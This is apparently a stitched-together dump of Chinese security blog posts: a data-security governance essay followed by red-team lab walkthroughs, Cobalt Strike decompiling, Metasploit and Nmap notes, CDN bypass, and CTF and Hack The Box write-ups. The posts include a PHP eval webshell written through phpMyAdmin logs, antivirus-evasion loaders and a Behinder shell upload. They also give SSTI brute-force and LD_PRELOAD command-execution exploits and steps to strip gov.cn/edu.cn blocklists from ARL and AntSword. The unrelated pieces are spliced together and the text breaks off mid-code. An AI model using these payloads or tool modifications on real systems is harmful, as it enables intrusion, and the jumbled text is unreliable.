那这个就是关注数据安全,我们把数据解决了,现在关注安全了。这个安全的话就是有没有风险,数据安全风险评估服务也好啊,还是通过数据安全的一些监测类设备,这块我们就是要尽可能去发现自己当前有哪些风险,我认为它的一个难点在于它跟网安的一个区别,就是网安所有监测的东西它都是死的,然后数据它是流动的,比如说我是一台数据库,我的一个数据采集,可能是我的一个合作伙伴把数据给我,是通过API接口,或者说通过业务系统,甚至说通过QQ微信给到我。给到我之后,然后肯定是先下载到本地,然后再上传到数据库,然后等等这一系列过程,就可能就这一条数据,它经过了很多个环节,它一直不断在流动,那这个过程中,我们每一个阶段都要去把它监测起来,才能串成一个完整的数据安全生命周期,这个也是比较难的。然后这个也是数据安全需要解决一个问题

4、怎么防范风险

我知道我有风险,我得解决啊,不然我把风险扔在那儿,我领导看着都想打我,就我天天找事不干事,所以说我们发现了风险还要去防止,或者说及时去解决这个风险带来的一些隐患,当然这个的话就是怎么防范,这个它是基于数据的一个分类分析的一个结果去判定的,这也是分类分级的一个意义,分类分级的意义不是说是我去把分类分级做好,打几个属性标签给监管部门一扔,那个是没有用的,那个就停留在表面,它实际分类分级的一个核心思想是在于数据应该分级保护,分级管理。那所以说我们的整个防范也是基于这个思想去做。

5、怎么运营

那最后一点是怎么把数据安全运营起来。这个就是照搬网络安全运营这一套。

以上这几个是我认为做数据安全我们应该去面临的问题,也是我们应该去解决的这五个问题,无论是为自己的公司还是说为客户,这五个问题想要回答,就不能靠解决方案买几个设备去解决。我觉得这肯定是一个体系的事,不能一蹴而就。所以说业界也就提出了我们应当用那个治理的角度去面对数据安全,就提出数据安全的一个治理,然后数据安全治理这个概念,它的一个概念我抄了

数据安全治理主要是指这个法律法规、国家标准、行业标准的规定,建立数据安全管理制度,采取相应的技术措施和其他必要的一个措施

然后保障数据安全已经上升到国家战略的一个高度,这个数据安全治理它是2016年首先提出的,他提出的目的就是第一是做合规,因为当时像GDPR这块都很严,第二块就是趋势导向,避免数据现象,第三个就是数据特性,就前面提到的,数据不是死的,它是流动的,它只有流动才有价值,然后如果它是死的,那其实我保护好某个区域就可以了。

但是这个数据因为它的特性,就导致我们肯定不能像保护静态那样去保护一个数据了。然后就这,反正怎么说呢,你像好多企业吧,你说他没做数据安全也不对,他可能买了什么数据加密,数据库防火墙,数据库审计这种这种设备。但是你要说他做了吧,但其实按照现在的合规要求和实战化的一个标准去看,他肯定都是不合格的。他这里保护的都是静态存储的一个数据,他没有办法去对这个流动中的一个数据进行一个保护,然后这个就是数据安全治理的一个建设重点。

数据安全治理

我把数据安全治理我就分为了三块,就是它主要因为治理,它主要就是关注数据的安全,它核心就是数据的一个分类分级和生命周期,然后再辅以这个组织架构、安全管理和技术体系去进行一个落地。所以说我把数据安全治理就拆分了三个部分:

1、资产梳理

就是摸清家底,知道我有哪些数据啊,之前常见的都是一些资产梳理啊,就是梳理我有哪些硬件服务器,中间件设备,然后资产梳理的话,他关注的是数据本身,我要形成数据资产底账,我关注的是我的一个数据类型,我的一个数据量,他所处的一个位置,包括他的责任人,甚至是血缘关系这一块。然后在此基础上再去做一个数据的一个分类分级。我认为数据安全治理的第一步,就是数据资产梳理。

2、数据安全风险评估

因为这个也是合规里面对于某些你像机关的一个强硬要求,要求一年一次常态化数据安全风险评估,这个也会逐渐就类似于等保这这种东西了。然后我个人是觉得数据安全风险评估真的非常重要,它是数据安全建设的一个起点,也是关键点,说前面分类分级它也特别重要,它是基础,但是我觉得那个环节它更像是死的,就是你像我们分类分级的一个标准定完之后,我可能我现在所有业务系统里面的所有数据,我都沿用这个标准,我往下走就行了,我标准可能几年都不会变化啊,当然说除了我什么新增一些业务,或者减少一些业务线,那可能会导致我这个标准发生变化,但相对来说它是稳定的,但是这个风险评估,它这个变化频率会很高,比如说我引入一些新技术,对吧,或者一些新的攻击类型,以及我有一些新的业务场景,比如说我决定上一些APP啊,或者小程序这块,都会导致我风险评估的一个内容和结果,它是一个动态的一个变化。数据安全治理的一个核心就是我们一定要关注动态的东西,死的东西,我觉得咱们都可以放一放,不用管,那个是在网络安全。就是信息安全风险评估里面,其实都已经帮我们解决了,我们在那个基础上去关注他活的就行。

3、数据安全风险处置/建设

我前面做的这些东西,后面肯定要做建设。建设的一个数据来源是来源于哪,我觉得就是来源于风险评估的一个结果,只有了解我有哪些弱点,并且排个优先级,然后差异化的去分析自己当前与合规这一块的一些差距,然后有针对性的再去进行一个建设和处置,然后建设的话,其实主要就分为三块。

首先是组织架构,就比如说什么成立数据安全工作小组啊,就对标网络安全领导小组,然后里面包括什么决策层,管理层,支撑层,审计层,然后它的一个核心思想就是定岗定员,这个双S里面都有。然后管理体系这个也是双S里面的,我就觉得这块就是从那个国外抄回来的,四类文件,战略类文件,制度类文件,规范类文件,表单类文件。最后是技术体系,说白了就是上技术,上工具,这个是厂商比较喜欢的一个环节,这就不说了。然后这个是我觉得数据安全治理,其实就这三大块,按部就班把这三大块做了,我认为这就是数据安全治理,不然那个东西永远停留在纸面。

解决数据安全五个问题

前面提了数据安全应当解决的五个问题,这里就是你通过以上三步能解,就是能回答这五个问题。

  1. 第一个是你是否合规,那么我们就通过数据安全风险评估解决,因为风险评估里面肯定有合规的要素在,通过那个评估加我们建设工作,那就可以去做到我的一个合规。
  2. 第二个你有哪些数据,数据在哪,就摸清家底,那这块工作我们就通过这个,通过数据资产梳理,就完全可以去做到
  3. 第三个数据安全有没有风险,有没有风险可以通过风险评估加这个后面建设里面的这个技术体系和管理体系,就能去解决这个问题。就为啥要有管理体系呢?管理体系不光是一些文件,它有一些流程,我们有技术工具了之后,我们还会有流程,对人要有个约束,通过这两个就去解决这个风险的问题。
  4. 第四个问题如何防范数据安全攻击,那怎么防范呢?我觉得这就是建设体系中的技术体系和管理体系,这两个你搞就解决问题。
  5. 最后是运营管理,运营管理就是把前面那三个全部加起来,它就是一个运营管理

以上是做数据安全需要知道的五个问题。然后是数据安全治理的三个阶段,然后通过这三个阶段的有机组合去回答以上五个问题

思路

方法论

在看这个思路之前,我先摆了四个方法论,因为做事得要有方法论指导,然后这个也不全,这个只是我认知里面,我知道的四种常见的方法论。

DSG由Gartner 提出 基于企业自身角度 从政策制度 、 企业架构 、 技术手段多维度入手 纯企业视角下数据安全思路
DGPC由微软提出,强调隐私、保密与合规的方法论,重点加强对存储数据的保护
数据安全治理委员会数据安全治理委员会以“让数据使用更安全”为目标提出数据安全治理方法论,以“分类分级、场景化安全、角色授权”为核心理念
数据安全能力成熟度模型国家信标委员发布的数据安全标准,基于数据全生命周期提出建设要求和能力要求

第一个DSG,这个很有名,其实他主要也是从那个组织架构,政策,包括那个技术手段去入手。去提的数据治理这个方法,DSG这个的话,国内天空卫士那家数据安全厂商按照DSG的这个方法去做的产品,包括做的解决方案。然后这个是DSG,这个就是名气最大的。

CS二开

不会二开,就改改UI,改改文字、图标之类

二开环境配置

反编译

IntelliJ IDEA 自带了一个反编译java的工具,有时候我们需要对 cobaltstrike 的整个 jar 包进行反编译,使用这个 IntelliJ IDEA 双击之类的反编译时要是对整个源码层面进行搜索并不是很方便,可使用其自带的反编译工具,可以做到批量的整个反编译。

这里先在 IntelliJ IDEA 安装目录找到 java-decompiler.jar 拷贝到一个准备好的目录,并且新建两个文件,一个 cs_bin 里面放未反编译的 cobaltstrike 再建一个 cs_src 文件,这个是空文件,是为了之后放反编译后的 cobaltstrike

反编译命令

bash
1java -cp java-decompiler.jar org.jetbrains.java.decompiler.main.decompiler.ConsoleDecompiler -dsg=true cobaltstrike_4.5.jar cs_src/cs_4.5

报错:

ATT&CK实战系列——红队实战(二)

网络配置

网卡:

WEB:

PC:

DC:

IP
WEB10.10.10.80(内)/192.168.111.80(外)
PC10.10.10.201(内)/192.168.111.201(外)
DC10.10.10.10
物理机192.168.111.1

启动Weblogic

正常启动,并且可以访问

外网打点

这里因为要下班了,所以直接全自动工具(脚本小子只会工具)

445端口,有SMB可能存在永恒之蓝

139端口,有Samba服务,可能存在爆破、未授权访问、RCE等等

1433端口,有mssql服务,可能存在爆破、注入等等

3389端口、有RDP

7001端口,有Weblogic,可能存在反序列化、SSRF等等

Weblogic扫描结果:

存在几个洞,这里使用集成工具

制作免杀

因为我们事先知道有360,所以现在制作免杀

GitHub找一个(我还不会免杀)

这里尝试https://github.com/HZzz2/go-shellcode-loader

我这里下载并解压后,把文件夹加为了白名单,因为制作过程中老被查杀

微软你真可爱

微软把我的笔记删了

制作的免杀传上去软件不兼容,尝试冰蝎马

把冰蝎的默认马传到C:\Oracle\Middleware\wlserver_10.3\server\lib\consoleapp\webapp\framework\skins\wlsconsole\images目录,然后通过url:http://192.168.111.80:7001/console/framework/skins/wlsconsole/images/shell.jsp访问

找这个web目录我找了好久,有没有大哥告诉我如何找这种java的网站根目录啊

虚拟机不出网,我在kali上启动了CS服务器

搞了半天,免杀的马用不了

直接生成然后通过冰蝎上传即可

内网渗透

常规的down密码

看到密码

shell whoami

这里搜集域内信息

内网信息搜集

systeminfo

主机名: WEB

OS 名称: Microsoft Windows Server 2008 R2 Standard

MSF备忘录

1. 安装运行及初始化

安装

bash
 1# 安装
 2curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall
 3
 4# 安装完成后位置
 5# /opt/metasploit-framework/embedded/framework/
 6
 7# 目录结构 
 8--modules 重点看这里就行了
 9  --auxiliary 主要包含辅助性脚本(扫描、嗅探、注入、爆破,漏洞挖掘)
10  --encoders 主要包含各种编码工具,以便绕过入侵检测和过滤系统
11  --exploits 漏洞利用,包含主流的漏洞利用脚本,exp命名规则:系统/服务/模块
12  --nops 绕过针对溢出攻击滑行字符串的拦截检测
13  --payloads 攻击荷载,主要在目标机器执行代码
14  --post 此目录放着msf的exploit执行成功后,向目标发送的一些功能性指令,如提权,获取hash等
15  --evasion 新增,用来生成免杀payload,类似于集成msfvenom功能
16--data 放了meterpreter ,passiveX,vnc,DLLs,等这些工具和一些用户接口代码,msfweb 和一些其他模块用到的数据文件
17--plugins 这里的模块用户需要load来加载,提供数据库连接插件和各种要用到的插件
18--scripts 这个目录下的文件大都是meterpreter这个模块利用的脚本,比如用到migrate来转移到其他进程的指令的源代码就在此
19--tools 包含一些有用的脚本和零散的工具

启动

ATT&CK实战系列——红队实战(一)

靶机搭建就不说了,之前做过视频

现在环境和密码是改好的

网络配置

Win7:

Win2008:

Win2K3:

IP
攻击机(物理机)192.168.55.1
Win7内:192.168.52.143 / 外:192.168.55.128
Win2008192.168.52.138
Win2K3192.168.52.141

外网打点

先查看Web服务器IP:

外网:

内网:

开启PHPStudy

访问是个探针,里面包含了站点绝对路径,php版本等信息

扫描目录

发现了phpinfo、phpmyadmin等信息

弱口令root/root进入后台

这里使用phpmyadmin日志写shell,先查看有没有开启日志

SHOW VARIABLES LIKE "%SECURE%"

这里开启日志

SET GLOBAL general\_log = 'on'

设置日志路径,绝对路径在探针里有的

SET GLOBAL general\_log\_file = "C://phpStudy/WWW//shell.php"

设置成功后写马

SELECT "<?php @eval($\_POST\['x'\]);?>"

蚁剑连接

内网信息搜集

在蚁剑的命令行执行相关命令即可

两张网卡分别是内外网

查看当前登录的域和登录用户信息

有三台主机

域为GOD,DNS为god.org

查看域控

查看域管

Nmap 手册&命令

Nmap 手册

什么是 Nmap

Nmap 是一个网络连接端扫描软件,用来扫描网上电脑开放的网络连接端。确定哪些服务运行在哪些连接端,并且推断计算机运行哪个操作系统(这是亦称 fingerprinting)。它是网络管理员必用的软件之一,以及用以评估网络系统安全。它不局限于仅仅收集信息和枚举,同时可以用来作为一个漏洞探测器或安全扫描器。

中文网站传送门:传送门🚪

特点

Nmap 对于网络检查的作用,应该相当于网址导航、搜索引擎的作用:入口。

  • 检测活在网络上的主机(主机发现)
  • 检测主机上开放的端口(端口发现或枚举)
  • 检测到相应的端口(服务发现)的软件和版本
  • 检测操作系统,硬件地址,以及软件版本
  • 检测脆弱性的漏洞(Nmap 的脚本)

Nmap 使用不同的技术来执行扫描,包括:TCP 的 connect 扫描,TCP 反向的 ident 扫描,FTP 反弹扫描等。所有这些扫描的类型有自己的优点和缺点。

Nmap 的各个阶段

指定目标

除了选项,所有出现在 Nmap 命令行上的都被视为对目标主机的说明。最简单的情况是指定一个目标 IP 地址或主机名。Nmap 接受可以多个主机,并且它们不必是相同类型,例如

shell
1nmap scanme.nmap.org 192.168.0.0/8

也是可以的。

修改灯塔与蚁剑域名黑名单

最近搞一些特殊站的时候遇到了一些小问题,比如灯塔资产系统无法添加gov.cn与edu.cn。蚁剑无法上gov和edu的马,这就很烦。hw既然是靶标那就可以打他们。我这里特别说明,我是经过授权的渗透测试行为,本文仅用于修改工具辅助渗透,不得用于违法行为。

免责声明:在根据本文改造程序后,造成对您自己或他人任何形式的损失和伤害,笔者不承担任何责任。 如您在使用本系统的过程中存在任何非法行为,您需自行承担相应后果,笔者将不承担任何法律及连带责任。 严禁用于非法测试。

ARL

我第一次修改没改好,先看我之前错在哪

首先我是将灯塔的源文件下载下来,然后全局搜索gov

然后停止docker里运行中的灯塔,灯塔一共开了5个容器,下面代码可一次性关闭

bash
1docker stop $(docker ps -a | grep "arl" | awk '{print $1}')

对照之前的全局搜索,将服务器里的文件一个个修改,在加入黑名单的域名前加上 # 注释。同时源文件有提示不可为空数组,所以我修改如下

注意,根据源文件,有三处需要修改,全局搜索能看到,但当我修改后,重新启动ARL仍然无法添加gov。

于是阅读了灯塔的文档后,发现了创建了arl_db

我对docker不是很了解,也不想去看volume,于是就把原来的ARL删除了,重新git clone了一份。此时跟上文一样修改一下就行。

具体步骤:

  1. 修改app中config.yaml.example 89行左右的FORBIDDEN_DOMAINS,不可为空数组,那就把那三个注释了,然后加一个不存在的域名,比如kkkkkkkk.kk

    第十五届全国大学生信息安全竞赛部分WriteUp

    做了10个,都是烂大街的题目,分数很低。CTF榜单186,以为稳进分区赛了。理论题算上变一千五百多名,华东南二百多名,进不去了,WriteUp也不想上传了。

    Crypto

    不是密码选手,但密码非预期搞出来几个

    签到电台

    关注公众号给的提示“弼时安全到达了”,查找这几个字的中文电码,然后和题目给的密码本里的前28位密码逐位相加除以10取余。如下:

    把取余后的,去掉空格后传入msg就行:/send?msg=

    ISO9798

    nc上之后,会给一个sha256之后的字符串,和部分明文,让求出前四位,用以下脚本即可得到前四位

    python
     1from hashlib import *
     2hash='加密后的'
     3sss='部分明文'
     4table='0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
     5for ch1 in table:
     6    for ch2 in table:
     7        for ch3 in table:
     8            for ch4 in table:
     9                hashvalue=sha256((ch1+ch2+ch3+ch4+sss).encode()).hexdigest()
    10                if hashvalue==hash:
    11                    print(ch1+ch2+ch3+ch4)
    12                    quit()

    求出前四位后,填入。然后会要求输入128字节的数字串,这里随便输入就行,然后返回一个96位字节的字符串。将这个字符串每32位分成一段,总共三段分别为rA、rB、B,然后将rB和rA拼接后传入。举个例子,这个96长度的字符串为112233,传入2211即可,传入后就出flag

    CDN绕过技术总汇

    本文首发于合天网安实验室

    首发链接:https://mp.weixin.qq.com/s/9oeUpFUZ_0FUu6YAhQGuAg

    近日HVV培训以及面试,有人问了CDN该如何绕过找到目标真实IP,这向来是个老生常谈的问题,而且网上大多都有,但是有些不够全面,今天把绕过CDN全理一理。术语叫做“深入浅出”。

    CDN简介

    定义

    内容分发网络(英语:Content Delivery Network或Content Distribution Network,缩写:CDN)是指一种透过互联网互相连接的电脑网络系统,利用最靠近每位用户的服务器,更快、更可靠地将音乐、图片、视频、应用程序及其他文件发送给用户,来提供高性能、可扩展性及低成本的网络内容传递给用户。

    CDN是利用缓存技术,解决如何将数据快速可靠从源站传递到用户的问题。用户获取数据时,不需要直接从源站获取,通过CDN分发,用户可以从一个较优的服务器获取数据,从而达到快速访问,并减少源站负载压力的目的(负载均衡)

    工作过程

    1. 用户在浏览器输入域名,先向DNS服务器发送请求
    2. DNS服务器将域名解析权交(通过CNAME)给CDN专用DNS服务器
    3. 客户端根据返回的ip访问CDN负载均衡设备
    4. 负载均衡设备根据当前的负载情况和用户所需内容,返回合适的ip
    5. 客户端最后根据ip访问对应的CDN缓存服务器

    优点

    1. 缓解原服务器访问压力
    2. 解决互联互通难题
    3. 解决网站突发流量的问题
    4. 合理利用互联网资源
    5. 全面预防单点故障
    6. 改善用户的访问的质量和体验
    7. 提供全面、准确、和详细的数据统计
    8. 有效的防治黑客攻击源站

    ……

    适用范围

    一般来说以资讯、内容等为主的网站,具有一定访问体量的网站

    • 静态内容(html、js、css、image等,如图床)
    • 视音频、大文件下载,分发加速:哔哩哔哩、腾讯等视频,百度云盘、蓝奏云等
    • 视频直播加速:斗鱼、淘宝、虎牙直播
    • 移动应用加速:移动app内图片、页面、短视频、UGC等内容,小程序等

    像直播这一类必有CDN,因为一个网站直播流涌入大量用户,现在任何一家直播平台都没有直接负载的服务器能力。看直播再快的网速都有一定延迟的原因之一就是,需要在CDN里缓存一部分,用户从CDN里观看。

    判断是否存在CDN

    方法一:PingPingPing

    不同地区对应着不同的CDN中心,所以使用不同站点的ping服务可分配到不同的CDN。这很简单,使用各种多站点ping服务来检查对应的IP地址是否唯一。如果不是唯一的,则使用大多数 CDN。多站Ping网站为:

    http://ping.chinaz.com/ http://ping.aizhan.com/ http://tools.ipip.net/ping.php (强烈推荐这个,这个默认多站ping,真的很多)

    方法二:nslookup

    使用 nslookup 进行检测,原理同上,如果返回域名解析对应多个 IP 地址多半是使用了 CDN。

    有 CDN 的示例:

    powershell
     1> ctfking.com
     2服务器:  public1.alidns.com
     3Address:  223.5.5.5
     4
     5非权威应答:
     6名称:    d831e3eec87f7d3c02a6-mini-l2.qcloudzygj.com
     7Addresses:  106.55.85.170
     8          106.55.85.167
     9          106.55.86.71
    10Aliases:  ctfking.com
    11          d14ca549ac628ef817e7beaa5095976f.qcloudwzgj.com

    无CDN的示例:

    双击.jar包无法运行解决方法

    我自己是通过探索出来的方法解决的,网上的方法适合普通问题

    网络流传方法

    那种-jarrun.bat的就是曲解了问题意思,问题不是如何运行,而是如何双击jar包就可以直接运行。

    普通小问题就是修改注册表,将java路径写进去后面加个 %1,如图

    网上还有的是修改javaw.exe\shell\open\command下的值,可是我本地javaw.exe下面没有项,这里就不再尝试

    解决方法

    我右键jar包 “打开方式→选择其他应用”,出现下图

    点击那个Java(TM) Platform SE binary无效,我选择更多应用,进目录里选中java.exe也不行

    上面有个继续使用此应用吸引了我的注意

    那里的路径是我之前java的路径,看着很碍眼,就打算删除,进入注册表Ctrl+F,搜索上面的路径,如图

    看注册表路径,这个部分控制的是jar自动打开的东西,路径并不是我现在的Java路径,那就修改为我现在的Java路径,并以-jar的方式打开

    值修改为:"C:\Java\bin\java.exe" -jar "%1" 如图

    此时双击可以直接打开jar包,并且右键打开方式→选择其他应用,也没有那个错误的显示了

    CSCCTF 2019 Qual FlaskLight

    网页里有提示

    参数为search,GET传值

    测试{{7*7}}

    存在SSTI模板注入,在这里简单介绍python魔法函数,与Flask内置

    __class__ 返回类型所属的对象

    __mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。

    __base__ 返回该对象所继承的基类 // __base__和__mro__都是用来寻找基类的

    __bases__以元组的形式返回一个类所继承的类

    __subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表

    __init__ 类的初始化方法

    __globals__ 对包含函数全局变量的字典的引用

    在python中''包住的是字符串,他的类就是str,传入测试一下

    果然回显了,往上找这个类的基类

    python中每个类都属于object,所以我们定位到object类,再输出object下所有子类,注意__subclasses__后面有个(),代表他是调用这个方法

    我们需要找到能够执行系统命令的,Ctrl+F查找常用的,发现有Popen

    那这里我们可以尝试利用Popen下的os模块,但是这里我们用一个脚本,把当前所有类的模块都查一遍

    每个模块可在类的__init__.__globals__下找到,但是这里globals被禁了,只要有这个词就返回500,所以把globals拆开再用+号相连,这个时候不需要前面的点

    脚本

    python
     1import time
     2import requests
     3
     4for i in range(0, 300):
     5    url = "http://932e9ea4-5fd2-4011-8ac4-f4ad790fd8bc.node4.buuoj.cn:81/?search={{''.__class__.__mro__[2].__subclasses__()[%d].__init__['__glob'+'als__']}}" % i
     6    time.sleep(0.1)
     7    r = requests.get(url)
     8
     9    if r.text.find("os") != -1:
    10        print(i)

    运行脚本等待一会,会输出所有包含os模块的类,大约几十个,随便用一个

    2022虎符CTF WEB赛后复现

    1、ezphp

    参考Jacko师傅的这篇虎符CTF

    写的已经很详细了,先简单梳理一下题目,题目与P师傅的这篇文章类似我是如何利用环境变量注入执行任意命令。简单来说就是不同的系统,他的system命令调用的命令不同。

    php中调用system本质上是调用了sh -c,在不同操作系统中:

    • debian:sh→dash
    • centos:sh→bash

    总结:

    • BASH_ENV:可以在bash -c的时候注入任意命令
    • ENV:可以在sh -i -c的时候注入任意命令
    • PS1:可以在shbash交互式环境下执行任意命令
    • PROMPT_COMMAND:可以在bash交互式环境下执行任意命令
    • BASH_FUNC_xxx%%:可以在bash -csh -c的时候执行任意命令

    题目就是P师傅没解决的debian系统

    而这篇文章解决了这个问题hxp CTF 2021 - A New Novel LFI

    Nginx对于请求的body内容会以临时文件的形式存储起来

    大概思路是:

    • 请求一个过大的body,会在/proc/self/fd目录下生成临时文件
    • 传一个填满大量脏数据的so文件
    • 竞争LD_PRELOAD包含 proc 目录下的临时文件

    这是生成so的源文件

    c
    1#include <stdlib.h>
    2#include <stdio.h>
    3#include <string.h>
    4
    5__attribute__ ((__constructor__)) void preload (void){
    6  unsetenv("LD_PRELOAD");
    7  system("id");
    8  system("cat /flag > /var/www/html/flag");
    9}

    注意,在代码里加许多无用代码,我加了两万行的

    Hack The Box - TIER 2 - Archetype Oopsie Vaccine Unified

    这个阶段的,终于不是之前的傻乎乎操作了,到这我才知道,那些问答不是先问答再渗透的。原来是渗透一步回答相应问题,这里涉及到了许多工具、脚本、提权、端口等知识点,收获丰富。

    Archetype

    TASK 1

    Which TCP port is hosting a database server?

    哪个 TCP 端口托管数据库服务器?

    答案:1433

    TASK 2

    What is the name of the non-Administrative share available over SMB?

    SMB 上可用的非管理共享的名称是什么?

    答案:backups

    TASK 3

    What is the password identified in the file on the SMB share?

    SMB 共享文件中标识的密码是什么?

    答案:M3g4c0rp123

    TASK 4

    What script from Impacket collection can be used in order to establish an authenticated connection to a Microsoft SQL Server?

    可以使用 Impacket 集合中的哪些脚本来建立到 Microsoft SQL Server 的经过身份验证的连接?

    Hack The Box - TIER 1 - Appointment Sequel Crocodile

    Appointment

    TASK 1

    What does the acronym SQL stand for?

    首字母缩写词 SQL 代表什么?

    答案:Structured Query Language

    TASK 2

    What is one of the most common type of SQL vulnerabilities?

    最常见的 SQL 漏洞类型之一是什么?

    答案:SQL injection

    TASK 3

    What does PII stand for?

    PII 代表什么?

    答案:Personally Identifiable Information

    TASK 4

    What does the OWASP Top 10 list name the classification for this vulnerability?

    OWASP 前 10 名列表将此漏洞的分类命名为什么?

    答案:A03:2021-Injection

    TASK 5

    What service and version are running on port 80 of the target?

    Hack The Box - TIER 0 - Meow Fawn Dancing

    新学期开始了,新的学习也开始了,寒假打算闭关的,但没耐住玩。2021总结找时间整理整理再写。实战有点难,代码审计有师傅建议先别搞,那刷刷HTB也不错,多方好评。

    Meow

    看新手入门连接到HTB的靶机过后,就打开了第一个,好像前面不做也只能打开第一个。连接后我先没有看靶机,9个任务居然是问答题,一题一题翻译做,答案如下:

    TASK 1

    What does the acronym VM stand for?

    首字母缩略词 VM 代表什么?

    答案:Virtual Machine

    TASK 2

    What tool do we use to interact with the operating system in order to start our VPN connection?

    我们使用什么工具与操作系统交互以启动我们的 VPN 连接?

    答案:Terminal

    TASK 3

    What service do we use to form our VPN connection?

    我们使用什么服务来建立我们的 VPN 连接?

    答案:OpenVPN

    TASK 4

    What is the abreviated name for a tunnel interface in the output of your VPN boot-up sequence output?

    2021NUAACTF WriteUp

    拿了三等奖的奖金,这学期不打了,作业太多了

    pwn

    format

    通过分析发现flag 放在buf指向的地址处!

    直接爆破

    python
     1from pwn import *
     2import time
     3n=1
     4while 1:
     5	try:
     6		p=remote("118.195.147.196",9238)
     7		p.sendline('%'+str(n)+'$s')
     8		print(n)
     9		d=p.read()
    10		if b'flag' in d:
    11			print(n,d)
    12			break
    13		print(d)
    14	except:
    15		pass
    16	n=n+1

    Pwn学习日记-2

    这次主要就是学习了ROP(返回导向编程),跟着PPT还有题目理解了很多rop原理以及汇编细节,在这里感谢好兄弟们的解惑以及小pwn手群的各位师傅。

    这次对上一篇补充一些内容以及着重于理解

    内存保护措施

    • canary

      canary是金丝雀的意思。在函数返回值之前添加的一串随机数(不超过机器字长),末位为/x00(提供了覆盖最后一字节输出泄露canary的可能),如果出现缓冲区溢出攻击,覆盖内容覆盖到canary处,就会改变原本该处的数值,当程序执行到此处时,会检查canary值是否跟开始的值一样,如果不一样,程序会崩溃,从而达到保护返回地址的目的。一种很强硬的保护措施,就是在中间强插一块数据,前后对比

    • NX

      NX即No-eXecute(不可执行)的意思,NX(DEP)的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。栈溢出的核心就是通过局部变量覆盖返回地址,然后加入shellcode,NX策略是使栈区域的代码无法执行。更强硬,直接不给你执行权限,即使溢出也无法执行攻击代码

    • PIE

      PIE(ASLR),内存地址随机化机制(address space layout randomization),有以下三种情况 0 - 表示关闭进程地址空间随机化。 1 - 表示将mmap的基址,stack和vdso页面随机化。 2 - 表示在1的基础上增加栈(heap)的随机化。 该保护能使每次运行的程序的地址都不同,防止根据固定地址来写exp执行攻击。 打乱程序在内存内的地址

      liunx下关闭PIE的命令如下: sudo -s echo 0 > /proc/sys/kernel/randomize_va_space

    • RELRO

      Relocation Read-Only (RELRO) 可以使程序某些部分成为只读的。它分为两种,Partial RELRO 和 Full RELRO,即 部分RELRO 和 完全RELRO。

      部分RELRO 是 GCC 的默认设置,几乎所有的二进制文件都至少使用 部分RELRO。这样仅仅只能防止全局变量上的缓冲区溢出从而覆盖 GOT。

      完全RELRO 使整个 GOT 只读,从而无法被覆盖,但这样会大大增加程序的启动时间,因为程序在启动之前需要解析所有的符号。

    ret2syscall

    什么是系统调用?

    • 操作系统提供给用户的编程接口
    • 是提供访问操作系统所管理的底层硬件的接口
    • 本质上是一些内核函数代码,以规范的方式驱动硬件
    • x86 通过 int 0x80 指令进行系统调用、amd64 通过 syscall 指令进行系统调用

    讲人话我感觉就是,我们写程序system("/bin/sh"),这是系统里自带的。可是系统读取到此代码时,内部是如何调用system的?系统内部有一套代码对应这些函数,系统运行代码时就叫系统调用。而rop就是当程序内没有普通栈溢出条件时,我们利用一些碎片组成那一套系统内的代码,运行后就相当于执行了那个函数。

    举个例子,你驾驶播种机去播种,播种机原理是将土翻开,向里面撒种子再将土埋上;但是,现在你没有播种机了,你用手把土翻开,撒种子,再埋土。这就叫系统调用,直接走它内部的流程。

    比如我要执行execve("/bin/sh",NULL,NULL),程序内并没有现成的代码供我们溢出跳转,所以我们执行此行代码的系统调用即可,已知此行代码对应系统调用为:

    bash
    1mov eax, 0xb
    2mov ebx, ["/bin/sh"] 
    3mov ecx, 0
    4mov edx, 0
    5int 0x80

    ROP跳转机制

    这里还需要了解rop的跳转机制

    首届安徽省“追日杯”大学生网络安全挑战赛WriteUp

    第六,应该能混个三等奖

    题量很大,打的人少,很多题都是0解,Reverse全0解,其他方向大都是个位数,综合渗透那里,题特别多,做了一个第一题就没做了,也挺难的,但是分还很低。怪怪的。

    Web

    gotofly

    题目一直重定向,即使到了flag页面,立即刷新也看不见,BP直接抓包,一页一页翻就行了

    Misc

    chess

    半自动化脚本

    python
     1# -- coding=utf8 --
     2from pwn import *
     3io=remote("ctf.zrb.edisec.net",33741)
     4win_data=''
     5if __name__ == '__main__':
     6	n=0
     7	l=[[0]*3]*3
     8	while 1:
     9		if '499/500' in win_data :
    10			p.interactive()
    11		try:
    12			io.sendlineafter('x/y:>','2/2')
    13			ob=io.recvuntil('computer:>',timeout=0.2)
    14			#ob=io.recvuntil('player:>',timeout=2)
    15			#ob=io.recvuntil(str('player:>',timeout=2))
    16			#ob=io.recvuntil(str('player:>',timeout=2)).strip()
    17			ob=io.recvuntil('player:>',timeout=0.2).decode('utf-8')
    18			ob=ob.strip()
    19			#ob=ob.split('/n')
    20			ob=ob.split('\n')
    21			#ob=ob.split('|')
    22			ob1=ob[0].split('|')
    23			ob2=ob[4].split('|')
    24			if '#' in ob1[0] or '#' in ob2[2]:
    25				io.send(b'1/2\n')
    26				io.sendlineafter('x/y:>',b'3/2')
    27			else:
    28				io.send(b'2/1\n')
    29				io.sendlineafter('x/y:>',b'2/3')
    30			try:
    31				ob=io.recvuntil('Can you win',timeout=0.2)
    32				if not ob:
    33					raise Exception("123")
    34				win_data=io.recvuntil('*****').decode('utf-8')
    35			except:
    36				try:
    37					io.send(b'1/1\n')
    38					ob1=io.recvuntil('repeat',timeout=0.2)
    39					if not ob1:
    40						raise Exception("123")
    41					io.send(b'1/3\n')
    42					io.sned(b'3/1\n')
    43				except:
    44					try:
    45						io.send(b'3/3\n')
    46						ob=io.recvuntil('Can you win',timeout=0.2)
    47						if not ob:
    48							raise Exception("123")
    49						win_data=io.recvuntil('*****').decode('utf-8')
    50					except:
    51						#io.interactive()
    52						code=0
    53						for i in range(1,4):
    54							if code:
    55								break
    56							for j in range(1,4):
    57								try:
    58									io.send('%s/%s\n'%(i,j))
    59									ob=io.recvuntil('Can you win',timeout=0.2)
    60									if not ob:
    61										raise Exception("123")
    62									code=1
    63									win_data=io.recvuntil('*****').decode('utf-8')
    64									break
    65								except:
    66									pass
    67					else:
